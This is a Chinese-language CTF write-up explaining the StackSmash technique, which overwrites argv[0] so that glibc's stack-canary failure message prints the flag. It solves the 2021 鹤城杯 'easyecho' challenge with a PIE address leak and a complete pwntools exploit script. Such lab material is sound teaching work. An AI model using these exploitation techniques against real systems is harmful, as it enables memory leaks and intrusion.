StackSmash

前言:

StackSmash是一个在 ubuntu16 版本以下的漏洞 ,高版本的ubuntu 已不存在此漏洞。

libc2.23版本之后就不可利用了,所以简单了解即可

StackSmash,顾名思义,就是要破环栈堆,但有什么用呢?

其实 StackSmash就是利用 Canary保护 的报错机制,如果在栈溢出时修改了 Canary,程序就会抛出错误,执行 __stack_chk_fail 函数来打印出 argv[0] 指针所指向的字符串,即 报错信息

StackSmash 这个漏洞无法让我们 getshell​,只能通过 用目标信息覆盖 argv[0] ,来帮助我们 打印出想要的信息。

正常而言

当Canary被修改后,函数返回时,检测到Canary的值错误,会调用 _stack_chk_fail() 函数,而这个函数会打印输入的文件名,即argv[0],存在栈上。

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

stack_chk_fail ()函数中调用了 fortify_fail 函数,并传入 msg:stack smashing detected

之后对msg在 libc_message() 函数中输出,这个函数还把 libc_argv[0] 作为参数输出了。这个参数其实就是 argv[0] ,也就是 程序的名称

实际效果是这样的(这是在 ubuntu16 的虚拟机中演示的)

例题:

[2021 鹤城杯]easyecho

64位小端序程序保护全开

代码分析:

程序会 循环打印 用户输入,如果用户输入 “backdoor” ,就会调用 v9 ,一直到 用户输入 “exitexit”才退出循环

将 v9 等于 sub_CF0()​,后续调用 v9相当于 调用 sub_CF0()

1
v9 = sub_CF0;

sub_CF0(),打开了 flag文件,并将 其读到 .bss​段上

sub_E40(v8) ,读入 16个字节 (之前定义了char v8[16];​)

代码分析完成了

用 gdb 调一遍看看会有什么惊喜

在sub_E40(v8),输完16个字节后发现栈上有一个 程序地址 可以帮助我们拿到程序基址,绕过PIE保护

这个地址就是 sub_E40(v8) 的调用地址 ,main()函数调用sub_E40(v8)完了,就将它的地址压栈了

argv[0]位于栈上,地址是 0x7fffe5ff3fd8,输入 地址是从 rdi的位置,也就是 0x7fffe5ff3e70开始的,offest = 0x168

解题思路:

  1. 输入 “backdoor” ,程序会调用sub_CF0(),将 flag的内容读到.bss​段上

  2. 通过 sub_E40()输入v8,printf()在打印 v8时 ,会将 sub_E40(v8) 的调用地址一起打印,我们拿到了程序基址 => 拿到了 flag在 .bss​段上的地址

1
2
sub_E40(v8);
_printf_chk(1LL, "Welcome %s into the server!\n", v8);
  1. 将 flag的地址 覆盖 argv[0],触发 Canary保护 的报错,将 flag的内容 作为报错信息 打印出来

最后要输入 “exitexit”结束后 程序才会检查 Canary是否被修改

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(os="linux", arch="amd64", log_level="debug")

io = process("./easyecho")
#io = remote("node4.anna.nssctf.cn", 28240)

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda data : io.recv(data)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

pad = b"a"*15 + b"b"
dbg()
sa(b"Name:", pad)
ru(b"b")
pie = u64(r(6).ljust(8, b"\x00"))
print(hex(pie))

base = pie - 0xcf0
print(hex(base))

flag = base + 0x202040
sla(b"Input:", b"backdoor")

pay = b"\x00"*(0x168) + p64(flag)
sla(b"Input: ", pay)

sla(b"Input: ", b"exitexit")
ia()
效果:

总结:

简单的 StackSmash就是 拿两个地址 ,一个是 flag的地址、一个是 argv[0]的地址,然后用 flag地址 覆盖栈上 argv[0]的地址,然后修改 Canary 的值,触发 Canary保护的报错,打印 flag。

另外注意 ,本地调试时如果不是在 ubuntu16上的话 ,argv[0]到我们输入的地址之间的 offest是不一样的,作者刚开始在 ubuntu22.04上做这道题时,用 gdb 调出来的偏移是 0x198,而远端是ubuntu16,是打不通的。